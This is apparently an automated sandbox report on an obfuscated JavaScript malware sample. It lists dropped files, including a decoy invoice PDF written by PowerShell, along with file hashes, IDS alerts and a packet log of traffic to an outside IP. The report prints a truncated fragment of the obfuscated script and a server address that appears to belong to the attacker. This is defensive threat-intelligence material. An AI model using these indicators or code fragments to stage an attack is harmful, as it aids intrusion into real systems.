Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9b9d7804-c32b-4bfb-b6e4-b38650d4fb2f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15876), with CRLF line terminators
Entropy (8bit):	4.910495232475631
TrID:
File name:	1932574451821324222.js
File size:	19'266 bytes
MD5:	f09a8756acb72a0e6e3ba1fe5a27cc3f
SHA1:	fb24d4706c6ffb2903b001d631b87c3d7aa106ea
SHA256:	a1e93977b0ace394ec4de30f3a4f2779a311a87f84f66becb93c28b11220c68c
SHA512:	bea787ccd883f17d4f473345c234ffff46d8769c4f34ccc6ede1a97abe4aff0f15f0da9879efc75749dbcf7ea02792652bd31da3031bc89865d5288fb91fc136
SSDEEP:	192:j6xR7ayFV88wkpr2yu6uKPzig+/SUq55RcEm4RvCFZojtMSI3PJBLj:Q281Syp2dq556p4RljtMSQf
TLSH:	DE8254A04C178D6B8EF815F2212A44D4A2DC076C44E144B9545894D8FBAFFEE9EF48BE
File Content Preview:	function uroly(){iypmtznor=[1031,3079,5127,4103,2055,3072];var szxtxnbmm=this[jdclrjk+btkrxwz+ahropaxtr+pfucnqnqc+tlyjf+jkbmce+zcfsqik+guouyysze](this[uictcmz+uzzmtyp+agequs+ahropaxtr+ibsue+jdclrjk+guouyysze][slidhrugc+ahropaxtr+tlyjf+btkrxwz+guouyysze+tl

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T19:33:52.717338+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49704	193.143.1.205	80	TCP
2025-01-10T19:33:55.075793+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:33:51.883116007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:51.887979031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:51.888114929 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:51.890882015 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:51.895632982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717210054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717222929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717235088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717263937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717277050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717297077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717308998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717338085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.717360973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717372894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717385054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.717390060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.717411041 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.717422009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.722290993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.722305059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.722373009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.774995089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.775044918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.775141954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.839204073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839240074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839251041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839270115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839282036 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839293957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839339972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.839344978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839366913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.839920044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.839967012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.839991093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840003967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840044022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.840328932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840342045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840353012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840363026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840383053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.840399981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.840812922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840857983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840869904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840898037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.840903997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840915918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.840948105 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.841711998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.841732979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.841747046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.841753006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.841758013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.841785908 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.888102055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.912276983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.912312984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.912405014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.960681915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.960720062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.960768938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.960813046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.960846901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.960885048 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.960908890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.961024046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961052895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961074114 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.961148024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961190939 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.961198092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961235046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961247921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961283922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.961589098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961631060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.961652994 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961666107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961680889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961685896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.961704016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.961765051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.962188959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962201118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962212086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962240934 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.962285042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962296963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962312937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962320089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962326050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.962326050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.962357998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.962385893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.963160992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963172913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963186026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963197947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963208914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.963231087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963243961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963243961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.963277102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963289022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.963293076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.963330030 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.964020014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964066029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964078903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964097977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964112043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.964144945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.964183092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964195967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964206934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964221001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.964226961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.964277029 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.965042114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.965064049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.965078115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.965094090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.965102911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:52.965106010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:52.965131998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.004714966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.004755974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.004776001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.004787922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.004822016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.004847050 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.053328991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.053437948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.082480907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082537889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082550049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082564116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082576990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082606077 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.082650900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082684040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082688093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.082688093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.082696915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082711935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082740068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.082906008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082943916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.082954884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083030939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083043098 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083055973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083069086 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083086967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083086967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083101988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083148003 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083508015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083530903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083542109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083554029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083564997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083570004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083578110 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083590031 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083597898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083601952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083631992 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083657026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.083894968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083966970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083977938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.083995104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084006071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084007978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084018946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084038973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084049940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084064007 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084068060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084106922 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084515095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084527016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084537983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084552050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084563017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084566116 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084587097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084629059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084641933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084654093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084665060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084671021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084707022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084738970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084750891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084760904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084773064 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.084779024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.084816933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085427046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085469007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085475922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085489988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085522890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085563898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085577011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085587025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085598946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085606098 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085612059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085629940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085699081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085711002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085722923 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085735083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085746050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.085748911 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085778952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.085791111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.086394072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086405993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086416960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086443901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.086453915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086466074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086497068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.086533070 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086544991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086555004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086566925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086577892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.086587906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086597919 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086606979 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.086611032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.086627007 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.086658001 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.087511063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 19:33:53.097239017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097261906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 19:33:53.097275019 CET	80	49704	193.143.1.205	192.168.2.8
